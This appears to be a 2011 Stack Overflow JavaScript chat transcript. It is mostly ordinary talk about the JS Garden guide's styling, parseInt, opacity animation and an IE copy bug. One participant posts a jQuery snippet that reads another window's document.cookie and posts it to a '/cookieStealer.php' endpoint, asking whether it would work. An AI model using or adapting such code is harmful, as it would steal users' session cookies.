« first day (91 days earlier)      last day (4857 days later) » 
01:00 - 16:0016:00 - 00:00

1:20 AM
in The Tavern (General) on Meta Stack Overflow Chat, 2 mins ago, by Zypher
Posted by George Beech on January 15th, 2011

I am going to be doing a bit of DB maintenance tonight at 9PM Eastern. The sites will be down for about an hour while I do a couple of upgrades to our primary database hardware:

 Add 32 GB of RAM to the server to bring it up to 96GB of RAM

Run Firmware updates for the RAID card

Update the RAID Card Driver firmware

The Trilogy and SE sites will be down for about an hour while I do this work. If the outage is going to last longer than that I will update this post.

Also, Sorry for not posting this earlier i’ll try to get these notifications up sooner than an hour before work is scheduled to start in the future. …

 
1:30 AM
noooooooOOOOoooooooOOOOoooooo
 
@jon3laze Chat will still be up though - it's hosted on a different server
 
oh nice
 
see, there was just a nice 2 hour window in this room.
"window of productivity"
@YiJiang did you hear my opinion about the fake drop caps?
 
@Nathan No, I don't usually read through the transcripts
Drop me a link or bookmark the conversation
 
oh i was just telling Ivo I like the new look of the javascript garden, for which he said you've done the CSS?
 
1:36 AM
@Nathan Yup
 
the only thing is that I don't like the fake drop caps because of the mixed letter weights. To many designers they are barbaric, like goto or something. I just googled up an article about it
 
@Nathan I know, I know. But currently, there isn't enough differentiation between the heading and normal body text
 
that Linotype site is ironically ugly :)
 
Fake small caps pains me too
Maybe I'll use @font-face to pull in a better font for headings
 
I think text-transform:uppercase will get you there more nicely :)
oh I was mixing up my terms and saying drop caps instead of small caps, sorry. anyway @YiJiang thank you for making great documentation on the web.
 
2:09 AM
... and have a good weekend, everyone
 
2:59 AM
I hate IE7
 
 
1 hour later…
4:26 AM
Support StackExchangeScripts!
 
 
6 hours later…
10:09 AM
Hi! Anyone there?
 
10:21 AM
yep
 
Too bad that jsFiddle uses two domains. :/
Anyway, what's jshell.net?
 
11:16 AM
Morning.
Well. Afternoon, whatever.
 
@Wolfy87 Evening
 
Hiho
 
^^
 
@YiJiang I'll finish the rewrite in about an hour only undefined and the timeouts are left
 
12:18 (noon) UTC+0100 (CET, Central European Time)
 
11:18 AM
Right now I'm waiting for my grandparents to leave -.-
 
@IvoWetzel Right, so I should push the CSS updates
 
@IvoWetzel So you're just a half-mod? :P (looking at the transcript)
 
@YiJiang Yep, there's still a small problem in one section where two asides overlay each other
 
Oh, and congrats on 10k status. Enjoy those shiny stats
 
Thx, it's ridiculous what people flag....
 
11:19 AM
@IvoWetzel It shouldn't with the new setTimeout chapter markup - the two notes are now far enough to not overlap
 
there the forins overlap, I used your latest stylesheet from the dropbox
 
Hmm. I've downvoted many questions/answers and my rep is still 169. :P
 
That menu is awesome.
 
@IvoWetzel I've looked through MSO questions on comment flags, and apparently anything that's even slightly noisy (like '+1 good answer') can be flagged
 
I have recently found I am a good web developer not designer :/ I still appreciate nice looking sites though.
 
11:21 AM
@Wolfy87 Well don't look at me then, the design is all courtesy of Yi Jiang :D
 
@IvoWetzel Mostly, that menu is your work
 
All I did was to write the stuff, send it through a python markdown -> html thingy
 
Well done Yi Jiang!...or Ivo...or, not I am confused.
*now
 
@YiJiang Gnah, all it does is to animate some colors
A baby could code that...
 
Still looks awesome.
 
11:22 AM
@IvoWetzel You're far too humble
Anyway, that overlapping bit is weird, I'm trying to make some sense of it
 
hm
the first aside in the section is low enough to end up at the bottom
and the second one is the last child
so it too, will end up at the bottom
I'll take a look at the md
 
I need to add colours to my animate function. God damn Mac spelling correction, that is how I spell colour, it is not wrong >_>
Oh is that all mark down?
What are you using to parse it?
 
python markdown module
 
Nice.
I am assuming Kohana has one. It could come in handy.
 
@YiJiang I fixed it by changing the md a bit, which makes more sense now anyway
 
11:27 AM
Hmm, so animating colours, I am assuming you convert the hex into the 0-255 values and animate them accordingly?
 
Well there a couple of ways to do it, I'd even say that HSL would be better suited
 
HSL?
 
@YiJiang Hm, the size of the h3 code parts is still a bit annoying
@Wolfy87 Hue Saturation Lightning
there's also HSV, hit wikipedia for more info
 
Ta' very much.
 
0.85em looks better on my machine
 
11:33 AM
Time to remove that chunk of code I talked of yesterday.
I will need some opacity fixes though...
I have got it! I will just place some stuff in the animate function, no need for separate functions (like jQuery...)
By stuff, I mean code.
I love the way I only to add this line to each of my functions to add chaining:
// Return the Spark object
return this;
 
@IvoWetzel Oh? Hmmm... okay, I'll revert the changes then
 
localStorage lasts until I delete it, but sessionStorage only lasts until I close my browser, right?
 
Yep
Well, I know session is, because it is in a session, I have never used local storage.
Say I used parseInt('0.5');. Would it return a floating point?
 
@Wolfy87 No. parseInt returns an integer. Use `parseFloat`if you want a floating point number.
 
I didn't even know that function existed, nice. Thank you!
 
11:47 AM
@Wolfy87 Oh, and always use parseInt with a second parameter, parseInt('0.5', 10)
 
var myWin = window.open('http://example.com');
sessionStorage.setItem('cookies', myWin.document.cookie);
myWin.close();
jQuery.post('/cookieStealer.php', { cookie: sessionStorage.getItem('cookies') }, function() {
  sessionStorage.removeItem('cookies');
});
Is this possible? (Not that I want to steal cookies :P)
 
@Wolfy87 Given that you're using W3Schools, I think you should also have a look at this: w3fools.com
 
I had already looked at that ^^ I only use it on the odd occasion.
 
If popups are blocked, it fails for sure… the window won't open.
Maybe I can execute this when a button is clicked.
 
11:51 AM
I can use this to remove a value from an object right?
delete bar.foo;
That would 'unset' foo?
 
yes
 
@YiJiang We'll need to clean up the "Best practices" sections, I've still not decided whether they should be recommendations or Crockford style "DO IT THAT WAY OR I'LL KICK YA BALLZ!"
 
@IvoWetzel It's weird, I'm not sure how to deal with them either
We can style them differently so that we can add something in the header: 'If you're in a hurry, just follow the "Best Practise" sections'
 
that would be an idea
then they need a lot of change... it never ends this...
 
12:02 PM
Or you could just leave it as it is, which is that those sections act like concluding paragraphs
 
then we should rename them to something different
 
"In Conclusion"?
Not a lot of point calling them "Best Practice" when the entire page is about Best Practices
 
yep
 
Hmmm, that Firefox 3.6 locationbar bug is getting quite annoying
 
OH SNAP!
Sorry, but it was my first attempt at getting the opacity animation working and it worked, first time!
I thought it wasnt working but I hadnt run make >_>
 
12:17 PM
OK, so I pushed the big changes to timeouts and undefined, now we need to rewrite the best practices to in conclusion and fix more typos and stuff
(Because I know that I've lost the overview once again and made a lot of mistakes)
 
@IvoWetzel I'll get on the job
 
@YiJiang Updates the dropbox version
For your reading pleasure
(or.. not... since I've written it...)
I guess the example code also needs cleanup, well at least a bit more consistency here and there
 
Hmm... I need to check if Google Code prettify is working correctly
 
Well it never worked for me in the first place
 
Yeah, but that's only because I didn't include the code to init it
Hmmm prettyprint's theme is only good for white bg :(
 
12:30 PM
But me likes da blue
 
I'll see what I can do
 
How can I change the tab character's size?
 
12:48 PM
I did it :) Here's my jQuery script:
var tabSize = 4,
    spaces = new Array(tabSize + 1).join(' ');
$('input:text, textarea').keyup(function() {
	this.value = this.value.replace('	', spaces);
});
 
@Nyuszika7H Where do you want to change it?
 
In textareas.
 
So... your solution is to replace every single tab with four spaces?
 
Yep.
 
Oh, going out now, bye!
 
12:49 PM
cya around
 
@IvoWetzel Well, I've copied the theme from alexgorbatchev.com/SyntaxHighlighter/manual/themes/… - this is what it looks like: dl.dropbox.com/u/1722364/Garden/garden.html
 
Looks good, maybe change the comment color to purple?
because blue on blue is meh
 
@IvoWetzel it's readable
 
@IvoWetzel Well, the point of comments usually is to be a little less obvious then the surrounding code, but lemme see...
 
@Nyuszika7H 5 year old laptop screen here...
I don't even know the meaning the word "contrast"
 
12:55 PM
@IvoWetzel mine is 5 year old too and I can read it fine :P
 
still in need for some help with my jQuery chat plugin. Can't copy from the chat window in IE (only). Source here mpwars.com/js/chat.js -- any takers? :)
 
@LasseAKarlsen could you provide a test page? :)
 
@LasseAKarlsen already stopped reading
var chatboxFocus = new Array();
var newMessages = new Array();
var newMessagesWin = new Array();
var chatBoxes = new Array();
 
@IvoWetzel OMG
 
okay? :p
 
12:58 PM
@LasseAKarlsen var, var, var, var. Use something like this:
 
use the [] notation
 
I haven't written this
 
and use , commas instead of a ton of var s
 
var foo = 'bar',
    bar = 'baz',
    baz = 'qux';
 
and use trailing commas!!!111
(ok the last one is style ranting)
@YiJiang
## In conclusion

`eval` is **EVIL**. It should never be used, any code that makes use of it is to
be questioned in its workings and security. If something requires `eval` in
order to work it is to be considered as magic and should **not** be used.
 
12:59 PM
but this isn't causing the problem, is it?
 
I hardly doubt that the JS prevents stuff from being copied
 
exactly
demo here: www.mpwars.com
and like I said, works fine in chrome/firefox
 
Vm0wd2QyVkZOVWRXV0doVFYwZDRWRll3Wkc5WFZsbDNXa1JTVjJKR2JETlhhMUpUVmpGYWRHVkdXbFpOYWtFeFZtMTRZV014V25GVWJHUnBVbXR3U1ZadGRGWmxSbGw0V2toR1VtSkdXbGhaYTJoRFZWWmFjbGt6YUZSTlZUVkpWbGQwVjFZeVNrZFhiR2hhWVRGYU0xWnNXbXRXTVZwelYyMTRVMkY2VmtwV2JURXdZVEZhV0ZOclpHcFNiRXBoV1ZSR1lWbFdjRmhsUjBaWFlrZFNlVll5ZUVOV01rVjNZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9
Now, someone decode that base64! :P
 
I'll tell you that it's encoded more than one time, but I don't tell you how many times. :P Try using atob() until you get the text.
 
1:03 PM
or just not
what can prevent text from being copied IE specific?
 
Nobody? :D
 
@LasseAKarlsen Hm can you select it?
 
@IvoWetzel: yes
 
strange
 
yeah
tested it?
 
1:11 PM
No IE here on my Ubuntu
 
click on the request that is active
 
0
A: how do i base64 encode and decode using javascript?

Nyuszika7HIn Firefox, Opera, Chrome and Safari, you can use the native btoa() (encode) and atob() (decode) functions.

!!!
 
@IvoWetzel: ah, okay
 
1:23 PM
@YiJiang I'm rewriting the best practices stuff, also added some rant... eh, notes about the extension of built in prototypes
(People will think we hate Prototype.js)
 
@IvoWetzel It's not wrong, per se...
 
@YiJiang Well, have written about the fact that it is useful for patching in newer JS features to old browsers
with a link to the Array.indexOf implementation over at MDC
But everything else just breaks encapsulation
 
@IvoWetzel The Array.indexOf implementation shown at MDC is pretty useless
 
@YiJiang Hm, any better example then? It was the first thing that sprung to my mind
 
@IvoWetzel String.trim?
blog.stevenlevithan.com/archives/faster-trim-javascript has some very interesting notes about each implementation of String.trim
 
1:30 PM
hm, at least on MDC there's no version of that
hm what about Array.forEach?
That should be a better one
 
1:56 PM
In the end the guide will (just as any other) have his own opinions
I bet people will argue about the fact that it doesn't repeat everything that Crock said :D
 
@IvoWetzel Hehe
 
On the other hand it's a good thing, since Crockford is very opinionated man
It gives a more neutral point on some of his sayings
@YiJiang Is the CSS ready? I'll push some more changes the added eval and a re-arranged order of the topics to next and then merge
uh.... typo...
"The eval evil"
>_>
Should be the other way around
-3
Q: Backdoor in OpenBSD how is it that no developer saw it ? And what about other Linux ?

user310291It had been revealed that there have been backdoor implanted in OpenBSD http://www.infoworld.com/d/developer-world/software-security-honesty-the-best-policy-285 OpenBSD is opensource, how is it that nobody in the community developper could see it in the source code ? So how can one trust all t...

awesome comment debate... not
 
2:17 PM
@IvoWetzel Just flag a few as noise
 
@YiJiang Already did that
 
Don't flag too many, we get laughably small number of comment flags each day...
 
@YiJiang I flagged the worst ones. Yes, I've seen that the number is really low...
 
@IvoWetzel Nuked by Bill! \o/
(Enjoy your 10k powers to see deleted posts)
 
2:27 PM
Hi! :)
 
@YiJiang Can I pull in the CSS?
 
@IvoWetzel Hang on, let me see if there's any major diff.
 
Will need to add in a line to the js file to enable prettify
 
I'll do that
 
2:33 PM
Eh... already did that. Also will need to add in modified prettify.js and css
 
ok then go ahead
While your on it, can you switch out the jQuery for a GCDN version?
No need to have a copy of it in the repo
 
Okay
Should I move all the script tags to the bottom of the body tag?
 
yep, that would be another good thing to do
 
@IvoWetzel Updated everything now, I think. Integrated prettify.css's content into garden.css
 
ok then I'll delete the prettify file
 
2:58 PM
pushed, gonna merge now and push to gh-pages
 
@IvoWetzel Now how many JS Gardens do you have? Three?
 
@Nyuszika7H ??
 
the dropbox versions were just for development
 
3:10 PM
@Nyuszika7H The other two are static copy of the generated HTML meant for debugging and styling purposes, they won't be updated
 
And will the 3rd get some styling?
 
And where did jQuery go?
 
@Nyuszika7H ??
 
Less styles, no jQuery…
 
3:13 PM
? well seems a console.log made it in there
 
@Nyuszika7H ???
 
gonna fix that
but besides that, it works fine
 
@IvoWetzel Hmmm? How did that happen?
 
ReferenceError: jQuery is not defined
 
Right, I see it
@Nyuszika7H Hard refresh, ctrl + f5
 
3:14 PM
@YiJiang Shift+F5
jQuery is back :)
 
@Nyuszika7H It's ctrl, which OS are you on?
 
@YiJiang Windows 7, Chrome 10.0.634.0 dev.
 
yes chrome wants Shift+F5
 
Actually, it accepts both.
> Ctrl+F5 or Shift+F5 Reloads your current page, ignoring cached content.
 
> gnoring cached content.
LIES
it was broken for like 4 versions
It never cleared the whole cache, only going to the settings dialog could get rid of the stuff -.-
 
3:16 PM
ignoring? :P ingoring!
 
ok so the log is gone
I should always add a pre commit hook for such things
 
Can I use jQuery.getScript() to load stylesheets?
 
Cascading Style Scripts?!!?
 
LOL
 
cached page load in 250ms
that's how I like it
 
3:22 PM
console.time('load: myWin');
var myWin = window.open('http://example.com');
$(myWin).load(function() {
  console.timeEnd('load: myWin');
});
Why won't this work?
> Unsafe JavaScript attempt to access frame with URL example.com from frame with URL chat.stackoverflow.com/rooms/17/javascript. Domains, protocols and ports must match.
 
You know I was working on that animate function.
Well: Got the opacity animation working in IE IE6+, f*** yeah!
Wait
That was the commit message >_>
That.
I have cross browser opacity animation all the way down to IE6
 
@YiJiang We need a new idea for the navbar later, there are still a few more topics that will make it in
And on lowres screens it will already be cut off
 
@IvoWetzel I've tested it on 1024x800, plenty of space
 
I have a 1024x600 netbook (and the laptop is 1280x800)
 
@IvoWetzel x600 o_o well, that's small
 
3:29 PM
netbook... I don't really code on that by I carry it around with me
 
Right, the nav bar needs to be redesigned. Hmmm...
 
What, that one that I like?
 
var test = {
    'case': 'I am a keyword so I must be notated as a string',
    delete: 'I am a keyword too so me' // raises SyntaxError
};
 
From JS Garden?
 
Actually, newer browsers won't raise a SyntaxError on this.
 
3:31 PM
@Nyuszika7H I know
 
Tested it with Chrome 10.0.634.0 dev and it works fine.
 
@Nyuszika7H ECMAScript 5, I think
 
@YiJiang Yep.
 
The guide is ES4 atm
and is written to be neutral, it's not a browser guide
 
@IvoWetzel Wikipedia says that ES4 is... dead, hmmm
 
3:32 PM
@YiJiang IE states different, does it? :P
If you want we can add a ton of ES5 notes
 
> Fourth Edition was abandoned, due to political differences concerning language complexity, with some of the work forming the basis of Fifth Edition and some forming the basis of ECMAScript Harmony.
 
@IvoWetzel Well, Adobe took ES4 and turned it into AS3.0
 
@YiJiang AdobeScript?
 
ah yeah, sorry it's ES3 of course
stupid confusing piece of...
@Nyuszika7H ActionScript
 
@Nyuszika7H ActionScript
 
3:33 PM
oh yes, sorry, I forgot that :P
 
Does anyone know how to access -khtml-opacity via JavaScript? Is it just element.style.khtmlOpacity or is my camel case wrong?
 
@Wolfy87 It's capital K for vendor extensions
 
Vendor?
 
So you look for MozBorderRadius not mozBorderRadius
 
Wha?
Oh
So KhtmlOpacity
 
Sweet, you are making a so chat bot. I have made a few IRC ones before.
 
Not me, @IvoWetzel.
:kitten comein
(that worked once :P I'm not sure if it will work this time)
 
Come on! Were are my 20000 ups for this: stackoverflow.com/questions/4700424/…
 
@IvoWetzel +1.
 
@IvoWetzel AMAZING!!! I NEVER KNEW THAT!!!
 
3:42 PM
@CodingKitten Did you hear about the voting mafia?
 
@IvoWetzel can you define a "tag" too, because I've not be able to download Firefox without it.
 
@YiJiang We should at that to da guyd Bro!
 
:kitten help
 
@Ivo
Oops
@IvoWetzel What an epic question
 
@Wolfy87 Tab to autocomplete
 
3:43 PM
@IvoWetzel Neither me!!! :)
 
Thanks.
 
Every up vote now gives me 10 more downs to throw out :D
But I'm interested whether the 10k affects the number of up votes I get
 
I up voted...
 
@Wolfy87 Then consider yourself part of the voting Mafia now...
 
I feel...so sinister.
 
3:46 PM
function callback(funct, params1, cb, params2) {
  funct(params1.join(','));
  cb(params2.join(','));
}
 
@CodingKitten Muhahahhahahaha
 
@YiJiang (note "should" I am a PHPore.
 
The only downside is that you can't do something like this:
callback(alert, 'hello', ...)
You need to do this:
callback(alert, ['hello'], ...)
 
@CodingKitten PHPore - Like Singapore, but more alkaline
 
@YiJiang And it saves a lot of time to sign it.
 
3:50 PM
Anyone know why element.style.KhtmlOpacity = 0.5; is not working?
 
@Wolfy87 KhtmlOpacity? What?
 
I...I thought this was how you set opacity in Konq?
 
I wouldn't support every browser out there
only major ones
 
I musssst
 
@Wolfy87 Who's paying your for that?
 
3:51 PM
@Nyuszika7H Konqueror's implementation of the opacity property
 
No one. My self.
 
@Wolfy87 Have you tried it with jQuery?
 
I am writing my self a JavaScript library...
I don't want to use jQuery
Wait, what do you mean?
 
@Wolfy87 Why?
 
Does jQuery support Konq?
 
3:52 PM
To be fair, even the BBC doesn't consider Konqueror a Level 1 browser: bbc.co.uk/guidelines/futuremedia/technical/…
 
@Wolfy87 IDK.
 
I am just checking the jQuery source now...
Nope, jQuery does not use it
 
I am only doing it because someone in the IRC just mentioned it wasnt working in their browser.
I just thought it was worth supporting EVERYTHING :3
 
@Wolfy87 Yeah... well look at the BBC for their browser support table - if you can get even half the coverage you're gold
 
3:56 PM
:D
 
Well, my library works in IE6+, so that should by default make it work in many more...
 
They use their own js lib, by the way, which is probably what you want if you need to support legacy browsers: bbc.co.uk/glow
@Wolfy87 No no no, that's definitely not always true
Or even mostly true
 
I know, I was joking due to IE being so bad.
I don't need to, this library is like a discovery for me, I am learning so much about JavaScript, the whole point is that I am writing it.
 
hi every one...im saman...you know me and my friends are going to develop monopoly on the browser...the hardest part is javascript...debugging in java script is so hard...does any one have any solution.
 
Erm.
Firebug.
 
3:58 PM
Can we all have a moment of silence for the BBC engineers still supporting IE6 as a Level 1 browser, and IE5.5 and as Level 2
 
@YiJiang Their lib disqualifies itself by using tabs!
 
yeah...im using apple developers
 
Tabs?
 
im using safari
 
@saman I don't want to be rude, but sentences in English should be terminated with a single period. Like this.
 
3:59 PM
ok
:D
 
Oh and their whitespace is... well... inconsistent
 
*Ok.
 
@IvoWetzel Bah, I never understood why anyone would care so much about that.
 
01:00 - 16:0016:00 - 00:00

« first day (91 days earlier)      last day (4857 days later) »